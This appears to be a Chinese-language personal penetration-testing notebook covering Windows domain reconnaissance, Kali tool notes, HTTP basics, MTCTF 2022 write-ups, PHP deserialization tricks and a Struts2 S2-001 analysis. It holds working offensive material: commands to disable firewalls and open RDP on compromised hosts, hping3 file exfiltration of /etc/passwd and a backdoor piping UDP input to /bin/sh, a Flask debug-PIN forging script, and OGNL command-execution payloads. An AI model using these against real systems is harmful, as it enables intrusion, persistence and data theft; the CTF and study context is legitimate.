Windows内网域渗透

Windows内网域渗透

域森林下的内网信息搜集

在我们进行渗透测试进入内网后,面对的是一片黑暗,所以我们首先应当做的就是对当前所处的网络环境进行一个判断,通常分为三种判断

  • 我是谁————对机器角色判断
  • 这是哪————对目前机器所处的网络环境的拓扑结构进行分析和判断
  • 我在哪————对目前机器所处的位置区域进行判断

所以我们需要对目标内网进行信息搜集,搜集的越多对内网越了解才能在渗透中如鱼得水

那假设我们现在已经获取到darkflow.com域中的web-2021机器的控制权限,接下来我们尝试使用CS来进行内网信息搜集

是否在域中

在对Windows进行内网渗透的时候,针对域环境和工作组环境所进行的渗透方式是完全不同的,所以我们应当先判断主机事都在域中,此处有两种方式

  1. 使用ipconfig /all查看当前网卡和IP信息

    可以看到命令执行之后在IP配置汇总存在主DNS后缀,这代表我们存在在域环境中,反之则是工作组环境

  2. 使用systeminfo查看系统详细信息

    此处中域显示为一个域名,而如果是工作组则会显示WORKGROUP

  3. 使用net config workstation查看当前登录域以及用户

    可以看到其中有工作站域并且不是WORKGROUP

  4. 使用net time /domain来查看系统时间,其中的/domain参数代表其只能在域环境中执行

    该命令执行后有三种情况

    • 存在域但当前用户并非域内用户:发生系统错误,拒绝访问
    • 存在域并且当前用户是域内用户:显示域以及时间
    • 不存在域:找不到WORKGROUP的域控制器

本机信息搜集

在分辨好我们是在域中还是工作组后,我们就可以对当前机器进行信息搜集了

  • 获取本机网络配置信息ipconfig /all

    用来分析网络拓扑,如果机器在内网中我们就可以扩大范围进行内网的横向渗透,拿下更多资产

  • 查询操作系统和版本信息systeminfo | findstr /B /C:"OS"

    可以了解到本机的系统版本,在我们想要进行提权的时候我们可以针对性的寻找对应的exp

  • 查看本机已安装的软件及版本,路径wmic product get name,version

    通过搜集已安装的软件信息,可以针对某款软件的漏洞来进行一些提权等操作

  • 查看本机进程信息tasklist /v

    通过该命令查询的系统进程信息可显示出进程的运行用户(SYSTEM用户权限以下)及目录,在后期我们可以通过令牌窃取来进行提取

  • 杀毒软件进程查看tasklist /SVC

    将该命令的返回值提交对应的查询网站即可查看是否有杀毒软件,方便我们与杀软对抗

  • 启动程序信息wmic startup get command,caption

    可以看到详细的启动项命令及描述

  • 查看计划任务schtasks /query /fo LIST /v

    通过查看本机计划任务可以利用定时任务来做定时任务劫持

  • 查看主机开机时间net statistics workstation

    可以通过查看开机时间来判断是否经常有人管理使用这台机器

  • 查看用户net user net user 执行用户

    没啥好说的,就是查看用户,还可以查看指定用户属于的组

  • 查看当前在线用户query user || qwinsta

    通过查看当前在线用户可以知道管理员是否在登录,如果我们RDP登录到远程桌面然后撞上管理员就不好了

  • 查看本机端口开放情况netstat -ano

    可以查看本机是否与其他机器产生连接,分析本机开启的业务

  • 查询补丁信息systeminfo wmic qfe get Caption,Description,HotFixID,InstalledOn

    看看漏洞是否被修复,针对性寻找exp

  • 查询路由表route print

    所有可用接口的ARP缓冲表arp -a

    通过分析路由可以知道机器可以访问哪些网段的资源

  • 查看防火墙设置netsh firewall show config

    查看防火墙的开关情况,以及相关的配置信息

    如果我们相对防火墙相关内容进行一些更改可以使用下面的命令

    在Windows 2003及之前版本,使指定程序全部连接:
    netsh firewall add allowedprogram 程序路径 "规则名" enable
    
    在Windows 2003之后的版本,使用以下命令:
    netsh advfirewall firewall add rule name="规则名" dir=in action=allow program="程序路径"
    
    允许指定程序连出:
    netsh advfirewall firewall add rule name="规则名" dir=out action=allow program="程序路径"
    
    允许指定端口放行:
    netsh advfirewall firewall add rule name="规则名" protocol=TCP dir=in localport=端口 action=allow program="程序路径"
    
    自定义防火墙日志存储位置:
    netsh advfirewall set currentprofile logging filename "存储文件路径"
    
    Windows 2003及之前版本关闭防火墙:
    netsh firewall set opmode disable
    
    Windows 2003以后版本关闭防火墙:
    netsh advfirewall set allprofiles state off
  • 查询并开启远程桌面服务REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

    开启远程桌面的命令

    Windows Server 2003开3389端口
    wmic path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1
    
    Windows Server 2008 和 Windows Server 2012开3389端口
    wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (_CLASS !="") call setallowtsconnections 1
    或
    wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
    
    Windows 7开3389端口
    reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG DWORD /d 0 /f

域内信息搜集

  • 获取域SIDwhoami /all

    搜集SID可以用于票据传递攻击,还有部分提权方式需要手机特权信息来进行

  • 查询域内容户net user /domain

  • 查看域内用户详细信息net user 用户名 /domain

    可以看到组成员内容来判断用户组及权限

  • 查看本机所在的所有域net view /domain

    在存在多个域的时候可以使用这个命令来看所存在的所有域

  • 查询域管理员列表net group "domain admins" /domain

    可以看到只有一个域管理员

  • 查看域内时间(时间服务器)net time /domain

    通过查看域内时间以及时间服务器,就可以使用定时任务+IPC来运行一些bat文件,并且可以通过ping域内时间服务器来得到其IP

  • 查看登录本机的域管理员net localgroup administrators /domain

  • 查看域中所有用户组net groups /domain

  • 查看主域控制器netdom query pdc

    直接ping就能拿到IP

  • 查看所有域控制器net group "Domain Controllers" /domain

    这里应该还有个辅域的,但是不知道为啥消失了,后面再回来看看

    这里我们可以通过域控制器的机器名称来查看域控主机,知道其IP后我们可以对其进行针对性的渗透,只需渗透核心机器,整个域的控制权也就到手了

  • 查询域信任信息nltest /domain_trusts

    可以看到主域名是bxsteam.com,并且有一个saul子域,二者双向认证,彼此的用户可以互相登录

  • 查询域密码信息net accounts /domain

    可以看到域中密码使用策略,在爆破时防止我们生成无效的密码字典

Kali从0到1

工具大全

信息收集

存活主机识别

  • arping

    • 类似于ping,也是用来探测存活的,不过使用的arp协议不是ICMP协议,所以只能探测内网不能碰公网
    • -t参数可以添加mac地址,来保证IP地址绑定到了指定的MAC地址上
    • 还行吧,可能ping不管用的时候可以用,哦还可以用来捞mac地址
  • fping

    • ping的加强版,fping可以在命令行中指定要ping的主机范围

    • 与ping要等待某一主机连接超时或发回反馈信息不同,fping给一个主机发送完数据包后,马上给下一个主机发送数据包,实现多主机同时ping。如果某一主机ping通,则此主机将被打上标记,并从等待列表中移除,如果没ping通,说明主机无法到达,主机仍然留在等待列表中,等待后续操作。

    • ```shell
      fping IP1 IP2 IP3 …
      fping -f filename
      fping -g IP1 IP2
      可以添加-a参数来只显示存活主机

      
        - ping的升级版(自己写歌脚本貌似也差不多)
      
      - **hping3**:
      
        - hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。
      
        - 可以自己定制数据包来探测防火墙,也可以详细查看响应来判断拦截等内容,甚至可以用来伪造ICMP包来打DDOS
      
        - ```
          -a 指定包的请求IP,可以指定为目标来让自己反复ping自己,不过这样的话自己也就收不到响应数据了
          -p 指定端口
          -I 指定网卡
          -c 指定发包次数
    • 文件传输

      • Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

      • ```shell
        hping3 源IP –listen signature –safe –icmp

        
        - 监听ICMP包中的签名,根据签名解析出文件内容。
        
        - 在发送端使用签名打包的ICMP包发送文件:
        
        - ```shell
          hping3 目标IP --icmp -d 100 --sign signature --file /etc/passwd
      • /etc/passwd密码文件通过ICMP包传给目标主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

    • 反弹shell功能

      • 如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

      • 示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

      • 在木马启动端:

      • ```
        hping3 192.168.10.66–listen signature –safe –udp -p 53 | /bin/sh

        
        - 在远程控制端:
        
        - ```
          echo ls >test.cmd hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd
      • 将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

      • 当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

    • 好高级的说,可以自定义的部分也很多,也有一些有趣的应用,可冲

  • masscan

    • 又一个扫描工具,给个例子就过,好快啊

    • ```
      masscan -p80,8080-8100 10.0.0.0/8
      (扫描10.x.x.x子网,扫描端口80和8000-8100范围的端口段)
      可使用–echo把当前配置输出到文件,-c使用文件
      –source-ip 指定源IP
      –excludefile 文件 指定网段忽略
      –max-rate 100000 最高发包速率
      –banners 获取banner信息,支持少量的协议

      
        - md你快有个卵子用,扫不出来端口存活信息啊
      
      - **thcping6**:
      
        - 针对IPV6的发包工具,隶属于atk6这个这个工具包下,官方描述是sends a hand crafted ping6 packet,就是手动构造一个ping6的数据包
        - 学了IPV6再来
      
      ### 路由分析
      
      - **netdiscover**:
        
        - 二层发现工具,拥有主动和被动发现两种方式,通过ARP路由表探测
        - 最简单的就是直接输入netdiscover之后就是运行它的默认配置然后扫描局域网中所有的机器
        - 也可以直接输入网卡让他自己跑两层
        - 每天一个被打电话小技巧
        
      - **netmask**:
      
        - netmaks可以在 IP范围、子网掩码、cidr、cisco等格式中互相转换,并且提供了IP地址的点分十进制、16进制、8进制、2进制之间的互相转换
      
        - ```
          Usage: netmask spec [spec ...]
            -h, --help                    Print a summary of the options
            -v, --version                 Print the version number
            -d, --debug                   Print status/progress information
            -s, --standard                Output address/netmask pairs
            -c, --cidr                    Output CIDR format address lists
            -i, --cisco                   Output Cisco style address lists
            -r, --range                   Output ip address ranges
            -x, --hex                     Output address/netmask pairs in hex
            -o, --octal                   Output address/netmask pairs in octal
            -b, --binary                  Output address/netmask pairs in binary
            -n, --nodns                   Disable DNS lookups for addresses
            -f, --files                   Treat arguments as input files
          Definitions:
            a spec can be any of:
              address
              address:address
              address:+address
              address/mask
            an address can be any of:
              N           decimal number
              0N          octal number
              0xN         hex number
              N.N.N.N     dotted quad
              hostname    dns domain name
            a mask is the number of bits set to one from the left
    • 这个看官方文档吧

情报分析

  • spiderfoot

    • 一个可以自动进行大量查询的工具
    • 启动需要指定好监听的IP和端口,然后浏览器直接访问就行啦
    • 好用的耶,一些资产搜寻不用手动做了,而且还可以没事搜搜自己来保护自己
  • theHarvester

    • 这个嘛就是一个手动的搜索工具啦,直接看官方文档就好

    • ```
      -d –domain 要搜索的公司名称或域名。
      -l –limit 限制搜索结果的数量,默认=500。
      -S –start 从结果编号 X 开始,默认 = 0。
      -g –google-dork 使用 Google Dorks 进行 Google 搜索。
      -p –proxies 对请求使用代理,在 proxies.yaml 中输入代理
      -s –shodan 使用 Shodan 查询发现的主机。
      –screenshot 对已解析的域进行截图,指定输出目录:–screenshot output_directory
      -v –virtual-host 通过 DNS 解析验证主机名并搜索虚拟主机。
      -e –dns-server 用于查找的 DNS 服务器。
      -f –filename 将结果保存到 XML 和 JSON 文件。
      -b –source 指定搜索的引擎和数据源

      #theHarvester -d [url] -l 300 -b [搜索引擎名称]

      
        - 没上一个自动化的好用,不开心😒
      
      ## 漏洞分析
      
      ### Fuzzing工具集
      
      
      
      
      
      
      
      
      
      
      
      
      
      ## Web程序
      
      ## 数据库评估软件
      
      ## 密码攻击
      
      ## 无线攻击
      
      ### 蓝牙工具集
      
      ### 无线工具集
      
      - **bully**:
      
        - Wi-Fi破解,通过爆破WPS模式下7位长度PIN值来获取Wi-Fi密码
      
        - 使用方法
      
        - ```shell
          bully 监听模式网卡名 -b 目标BSSID -e 目标SSID -c 目标广播信道
    • 可以看到有许多参数,他们的获取方式我们会在后面提到

    • 还没有试过,改天尝试一下

  • Fern WiFi Cracker

    • 图形化的Wi-Fi破解工具,可以通过破解路由到设备的加密包来实现Wi-Fi密码解析
    • 等我笔记本kali装好的(

逆向工程

漏洞利用工具集

嗅探/欺骗

网络欺骗

  • sslsplit

URL和HTTP协议

URL

遇事不决先百度

因特网上的可用资源可以用简单字符串来表示,该文档就是描述了这种字符串的语法和语义。而这些字符串则被称为:“统一资源定位器”(URL)。这篇说明源于万维网全球信息主动组织(World Wide Web global informationinitiative)介绍的概念。RFC1630《通用资源标志符》描述了一些对象数据,他们自1990年起就开始使用这些对象数据。这篇URL说明符合《因特网资源定位符的功能需求(Functional Requirements for Internet Resource Locators)》中说明的需求。这篇文档是由工程任务组织(IETF)的URI工作小组写的

肯定看不懂对吧,没关系,你只需要知道这个东西是用来寻找互联网上的资源就可以了,下面我们来看看一个URL的完整格式

scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

贴心的中文翻译

协议:[//[用户[:密码]@]主机[:端口]][/路径][?队列][#片段]

下面我们以一个http协议的url来对上面的内容做一个解释

http://jlan.darkflow.top/posts/58958.html

我们来按照上面的语法来分析一下这个是什么内容

首先我们使用的是http协议来对jlan.darkflow.top这个服务主机进行访问,访问的是/posts/58958.html这个网页资源,这时候应该就会有人问了,为什么这个http的URL里面没有用户啊密码啊端口之类的东西呢,很简单,因为这些内容都是可选项,而http协议内容基本都是公开访问的,所以我们不需要指明我们用户的身份,并且http协议的默认端口是80端口,所以我们在访问这个URL的时候会自动的去80端口寻找资源

那如果我们没有把http服务放在80端口而是放在其他端口呢,来做个实验,我们用flask起一个web服务器,使用80端口作为http服务的端口

我们来直接访问看看,虽然我们没有在URL中添加端口,但是我们也成功访问到了我们的web站点,添加了80端口也是一样的,并且由于浏览器的特性,我们在添加80端口到URL中时默认是不会显示出来的

下一步就是将默认端口进行更改,可以看到我们在代码中将端口更改为了10010,这时候我们再来直接访问看看

可以看到我们现在用默认的80端口已经行不通了,那我们就加上我们自定义的端口号再来访问

可以看到访问成功,并且在地址栏也出现了我们输入的自定义端口号

那下一个我们可以来看一个ftp协议的URL

ftp://jlan@127.0.0.1/xxx/flag

这个就很明显了,我们以Jlan的身份在127.0.0.1服务器上面拿一份flag,可以看到我们也没有指定端口,因为ftp协议也是有默认端口的,其实几乎所有协议都会有一个默认的端口号,在一些使用这些协议的程序中大部分情况我们都不需要再额外添加端口

HTTP

说完了URL我们来说另一个web的基础知识就是HTTP协议,同样先百度

HTTP协议是Hyper Text Transfer Protocol(超文本传输协议)的缩写,是用于从万维网(WWW:World Wide Web )服务器传输超文本到本地浏览器的传送协议。

HTTP是一个基于TCP/IP通信协议来传递数据(HTML 文件, 图片文件, 查询结果等)。

HTTP是一个属于应用层的面向对象的协议,由于其简捷、快速的方式,适用于分布式超媒体信息系统。它于1990年提出,经过几年的使用与发展,得到不断地完善和扩展。目前在WWW中使用的是HTTP/1.0的第六版,HTTP/1.1的规范化工作正在进行之中,而且HTTP-NG(Next Generation of HTTP)的建议已经提出。

HTTP协议工作于客户端-服务端架构为上。浏览器作为HTTP客户端通过URL向HTTP服务端即WEB服务器发送所有请求。Web服务器根据接收到的请求后,向客户端发送响应信息。

img

上面这张图就很好的说明了HTTP协议定义的内容

啊反正HTTP协议就是一种传输网页内容的协议,协议就是双方定义了一种数据交换的方式,按照规定的格式来传输数据,web手所谓的“抓包”就是对HTTP的数据包进行拦截,然后取出其中的原始数据,多说无益,我们来实际抓包尝试一下,还是使用刚才的web服务器

看这里就是一整个完整的请求和响应内容了,第一行是请求的方法和协议,后面每行都是一个请求标头,最后有一个回车和换行结束,这是一个完整的GET请求,那POST类型的请求是什么样子的呢,我们再来看一下

发现请求的最下面是我们传入的内容,并且又多了一个叫做Content-Length的请求头,这个请求头就是告诉服务器,我们在最后一个换行之后还有9字节的内容需要传输,我们试试在服务器中将内容取出并且回显,那如果我们修改这个请求头让它比我们实际的请求短会发生什么呢

可以看到服务器按照我们的请求头声明的一样,只取了前8位的内容,返回了jla

MTCTF 2022

babyjava

直接搜Xpath注入工具

https://www.zhihuifly.com/t/topic/370

按照对应的URL与post传参

按说明一层层爆出结果,最终文档树如下

root
	user
		username(flag在里面)

flag{273f7d50-2f92-47ba-b5d4-358ae3add895}

OnlineUnzip

源码

import os
import re
from hashlib import md5
from flask import Flask, redirect, request, render_template, url_for, make_response

app=Flask(__name__)

def extractFile(filepath):
    extractdir=filepath.split('.')[0]
    if not os.path.exists(extractdir):
        os.makedirs(extractdir)
    os.system(f'unzip -o {filepath} -d {extractdir}')
    return redirect(url_for('display',extractdir=extractdir))

@app.route('/', methods=['GET'])
def index():
    return render_template('index.html')

@app.route('/display', methods=['GET'])
@app.route('/display/', methods=['GET'])
@app.route('/display/<path:extractdir>', methods=['GET'])
def display(extractdir=''):
    if re.search(r"\.\.", extractdir, re.M | re.I) != None:
        return "Hacker?"
    else:
        if not os.path.exists(extractdir):
            return make_response("error", 404)
        else:
            if not os.path.isdir(extractdir):
                f = open(extractdir, 'rb')
                response = make_response(f.read())
                response.headers['Content-Type'] = 'application/octet-stream'
                return response
            else:
                fn = os.listdir(extractdir)
                fn = [".."] + fn
                f = open("templates/template.html")
                x = f.read()
                f.close()
                ret = "<h1>文件列表:</h1><br><hr>"
                for i in fn:
                    tpath = os.path.join('/display', extractdir, i)
                    ret += "<a href='" + tpath + "'>" + i + "</a><br>"
                x = x.replace("HTMLTEXT", ret)
                return x


@app.route('/upload', methods=['GET', 'POST'])
def upload():
    ip = request.remote_addr
    uploadpath = 'uploads/' + md5(ip.encode()).hexdigest()[0:4]

    if not os.path.exists(uploadpath):
        os.makedirs(uploadpath)

    if request.method == 'GET':
        return redirect('/')

    if request.method == 'POST':
        try:
            upFile = request.files['file']
            print(upFile.filename)
            if os.path.splitext(upFile.filename)[-1]=='.zip':
                filepath=f"{uploadpath}/{md5(upFile.filename.encode()).hexdigest()[0:4]}.zip"
                upFile.save(filepath)
                zipDatas = extractFile(filepath)
                return zipDatas
            else:
                return f"{upFile.filename} is not a zip file !"
        except:
            return make_response("error", 404)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8000, debug=True)

总结就是会对上传的文件重命名解压,并且在访问文件时通过../来执行目录穿越,没关系我们直接用软连接

可以看到x时一个指向根目录的软连接,压缩,上传,访问,目录穿越可以进行任意的文件读取了

但是这时候我们直接点击flag发现无法读取并且报错,可能没有权限并且debug模式是开启的,那我们可以考虑通过计算PIN值打开console来RCE

所需的文件如下:

/sys/class/net/eth0/address

/etc/machine-id

/proc/sys/kernel/random/boot_id #本题环境存在machine-id所以不需要boot_id了

/proc/self/cgroup

使用脚本来计算PIN值

import hashlib
from itertools import chain
probably_public_bits = [
    'ctf'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]
private_bits = [
    '95532648517',#  /sys/class/net/eth0/address 16进制转10进制
		'96cec10d3d9307792745ec3b85c896207445bfc71ac17f0f2e5d5488c55c3346ea36da9d417b8f57364ddc5081f3f9b1'#  /etc/machine-id+/proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
print(rv)

直接访问/console RCE

flag{8fd00724-65fe-4c1c-a13d-83b4fc68c8aa}

PHP Trick

PHP Trick

反序列化

首先肯定要把所有的魔术方法看一看啦

__construct() 	构造函数
__destruct()  	析构函数
__call()				在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic()	在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用
__get()					读取不可访问或不存在的属性的值时,__get() 会被调用
__set()					在给不可访问或不存在的属性赋值时,__set() 会被调用
__isset()				当对不可访问或不存在的属性调用 isset()empty() 时,__isset() 会被调用
__unset()				当对不可访问或不存在的属性调用 unset() 时,__unset() 会被调用
__sleep()				当对一个对象进行序列化操作时,会先调用__sleep()方法再进行序列化操作
__wakeup() 			当对一个对象进行反序列化操作时,会先调用__wakeup()方法再进行序列化操作
__serialize()__sleep()方法作用基本相同
__unserialize()__wakeup()方法作用基本相同
__toString()		__toString()方法用于一个类被当成字符串时应怎样回应,只能返回字符串不然会飙错
__invoke()			当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__set_state()		当调用 var_export()导出类时,此静态方法会被调用
__clone()				对象复制可以通过 clone 关键字来完成(如果可能,这将调用对象的 __clone() 方法)。
__debugInfo()		当通过 var_dump() 转储对象,获取应该要显示的属性的时候, 该函数就会被调用。如果对象中没有	定义该方法,那么将会展示所有的公有、受保护和私有的属性。

__wakeup()

经典的CVE绕过wakeup方法CVE-2016-7124

影响范围:

PHP5 < 5.6.25
PHP7 < 7.0.10

只需要构造出序列化的字符串并将属性数改为大于真实属性数即可

__destruct()

对于php版本在8.0以下的,只要让程序运行过程中抛出异常,就不会执行__destruct()方法,但是die方法实惠正常进行垃圾回收并触发__destruct()方法的

__call()(__callStatic())

先来看以下call的官方说明格式

function __call(string $function_name, array $arguments)
{
    // 方法体
}

也就是说你传一个参数也好多个参数也罢,这些内容都会被以数组的形式存储起来,所以在__call()方法中调用参数内容时一定一定要按照array的形式调用

原生类

有时候反序列化会碰到没有给出足够使用的类的时候,这时我们可以利用一把PHP自带的原生类进行构造(以下内容都在PHP7环境中进行测试)

Exception

<?php
		$a=new Exception("1");
		echo $a;
		//Exception: 1 in /Users/jlan/PhpstormProjects/untitled/index.php:2 Stack trace: #0 {main}
?>

我们发现传出的内容为:Exception: 传入的字符串如果此时正好有eval包裹了该类变量我们就能通过传入xx;恶意代码;/*达到任意命令执行的效果

FilesystemIterator

<?php
  	$a=new FilesystemIterator("./");
  	echo $a;
  	//index.php
?>

传入目录返回一个迭代器,toString返回迭代器的第一项,可使用glob协议进行通配

DirectoryIterator

<?php
  	$a=new DirectoryIterator("./");
  	echo $a;
  	//index.php
?>

同上

GlobIterator

<?php
$a=new GlobIterator("./f*");
echo $a;
//flag.txt
?>

GlobIterator和上方这两个类差不多,不过glob是GlobIterator类本身自带的,因此在遍历的时候,就不需要带上glob协议头了,只需要后面的相关内容

SplFileObject

<?php
    $a=new SplFileObject("./flag.txt");
    echo $a;
		//读取文件首行内容
?>

SplFileObject这个类返回的也是一个迭代器,但是可以用伪协议啊

SplFileInfo

<?php
    $a=new SplFileInfo("phpinfo();");
    echo $a;
    //phpinfo();
    eval($a);
?>

原封不动返回传入内容

Error

Exception完全一致

URL解析

文件包含

很重要的一定是各种伪协议了

file://	直接读取文件,不受allow_url_fopen和allow_url_include影响
data://[<MIME-type>][;cherset=<encoding>][;base64],<data>	可以直接往里面放内容
zip://[压缩包绝对路径]#[压缩包内文件]	可以直接读取压缩包中的文件
php://input	直接读取请求体的所有内容
php://output	纯写入个人感觉还没啥大用
php://fd		包含文件描述符指向的文件
php://memory	读写内存的临时文件,没感觉有啥利用方法(
php://temp		上面的升级版,在临时文件>2MB时就会从内存中拉出来变成在默认sys_get_temp_dir目录下的文件
php://filter	文件读取过滤器
phar://	就是phar啊你还想要什么(其实也可以和zip一样读取压缩包内容)

php://filter

最能玩出花来的一个协议,最基础的当然是base64读取了

php://filter/convert.base64-encode/resource=xxx.php

中间convert可用的内容有

convert.quoted-printable-encode	将文本中的不可见字符转换为可打印的字符进行输出
convert.quoted-printable-decode 上述逆过程

说实话还没怎么见过这个用法,倒也确实没啥卵用

其中可用的最多的就是这个

convert.iconv.<input-encoding>.<output-encoding>

这个转换器可以将内容从任意一个编码转换为另一种编码,https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

文件上传

CTFshowJava

CTFshow Java

全部题都是struts2框架漏洞

Struts2是用Java语言编写的一个基于MVC设计模式的Web应用框架

注意以下所有漏洞都可以直接利用公开的脚本进行一键利用

首先要了解一下OGNL中的特殊符号作用

  • %的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
  • #的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
  • $主要是在Struts 2配置文件中,引用OGNL表达式

关于OGNL语言的介绍可以看这里,在这里可以进行利用是因为struts将其作为默认语言

判断页面是否基于Struts2:

  • 通过页面回显的错误消息来判断,页面不回显错误消息时则无效
  • 通过网页后缀来判断,如.do .action,有可能不准
    • 如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
    • 如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
  • 判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

脚本链接

ValueStack

后面会高频出现的一个东西,先来了解一下

首先Struts2的运行流程是(后面的很多东西都是基于这个流程分析的)

流程图

  1. HTTP请求经过一系列的标准过滤器(Filter)组件链(这些拦截器可以是Struts2 自带的,也可以是用户自定义的,本环境中struts.xml中的package继承自struts-default,struts-default就使用了Struts2自带的拦截器.ActionContextCleanUp主要是清理当前线程的ActionContext、Dispatcher,FilterDispatcher主要是通过ActionMapper来决定需要调用那个Action,FilterDispatcher是控制器的核心,也是MVC中控制层的核心组件),最后到达FilterDispatcher过滤器.

  2. 核心控制器组件FilterDispatcher根据ActionMapper中的设置确定是否需要调用某个Action组件来处理这个HttpServletRequest请求,如果ActionMapper决定调用某个Action组件,FilterDispatcher核心控制器组件就会把请求的处理权委托给ActionProxy组件.

  3. ActionProxy组件通过Configuration Manager组件获取Struts2框架的配置文件struts.xml,最后找到需要调用的目标Action组件类,然后ActionProxy组件就创建出一个实现了命令模式的ActionInvocation类的对象实例类的对象实例(这个过程包括调用Anction组件本身之前调用多个的拦截器组件的before()方法)同时ActionInvocation组件通过代理模式调用目标Action组件.但是在调用之前ActionInvocation组件会根据配置文件中的设置项目加载与目标Action组件相关的所有拦截器组件(Interceptor)

  4. 一旦Action组件执行完毕,ActionInvocation组件将根据开发人员在Struts2.xml配置文件中定义的各个配置项目获得对象的返回结果,这个返回结果是这个Action组件的结果码(比如SUCCESS、INPUT),然后根据返回的该结果调用目标JSP页面以实现显示输出.

  5. 最后各个拦截器组件会被再次执行(但是顺序和开始时相反,并调用after()方法),然后请求最终被返回给系统的部署文件中配置的其他过滤器,如果已经设置了ActionContextCleanUp过滤器,那么FilterDispatcher就不会清理在ThreadLocal对象中保存的ActionContext信息.如果没有设置ActionContextCleanUp过滤器,FilterDispatcher就会清除掉所有的ThreadLocal对象.

279

漏洞:S2-001

漏洞成因:当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

影响版本:WebWork 2.1 (with altSyntax enabled), WebWork 2.2.0 - WebWork 2.2.5, Struts 2.0.0 - Struts 2.0.8

漏洞分析:

  1. 首先断点打在接受参数并验证的地方,进而跟进触发点

  2. 由于验证失败导致返回error进行渲染,查看对<s:textfield>标签的渲染规则

    jsp文件中遇到Struts2标签 <s:textfield 时程序会先调用 doStartTag,并将标签中的属性设置到TextFieldTag对象相应属性中.在遇到 /> 结束标签的时候调用doEndTag方法

  3. 直接在渲染函数处打断点,在org.apache.struts2.views.jsp.ComponentTagSupport中找到上述提到的两个函数

  4. 跟进end方法,继续跟进evaluateParams方法,可以看到在这个方法中如果开启了altSyntax,那么就会在name属性的字段两边添加OGNL表达式字符生成expr属性,步过执行发现expr内容确实被改变

  5. 继续跟进findValue方法,在这里就能看到出问题的点了,就是translateVariables方法

  6. 步入后发现其又调用了同名重载方法,直接看重载后的函数内容

    第一次获取o的值,这里的stack为OgnlValueStack,它是ValueStack的实现类.ValueStack是Struts2的一个接口,表面意义为值栈,类似于一个数据中转站,Struts2的数据都会保存在ValueStack中.Struts2在发起请求创建Action实例的同时会创建一个OgnlValueStack值栈实例.Struts2使用OGNL将请求Action的参数封装为对象存储到值栈中,并通过OGNL表达式读取值栈中的对象属性值.

    ValueStack中有两个主要区域:

    ​ CompoundRoot区域:是一个ArrayList,存储了Action实例,它作为OgnlContext的Root对象.获取root数据不需要加#

    ​ context区域:即OgnlContext上下文,是一个Map,放置web开发常用的对象数据的引用.request、session、parameters、application等.获取context数据需要加#

    操作值栈,通常指的是操作ValueStack中的root区域.

    OgnlValueStack的findValue方法可以在CompoundRoot中从栈顶向栈底找查找对象的属性值

    以上为大佬解析的stack变量的内容,不管如何,我们直接跟进到55行的stack的findValue方法中,可以看到传入的参数内容继续步入到OgnlUtil.getValue方法中,继续步入到Ognl.getValue方法中,可以看到其对name参数进行了compile操作并返回传入的getValue方法,将username中的内容取出并执行其中的OGNL表达式如此反复可以看到最后OGNL表达式被成功执行并且结果存入了result中

payload:

// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

280

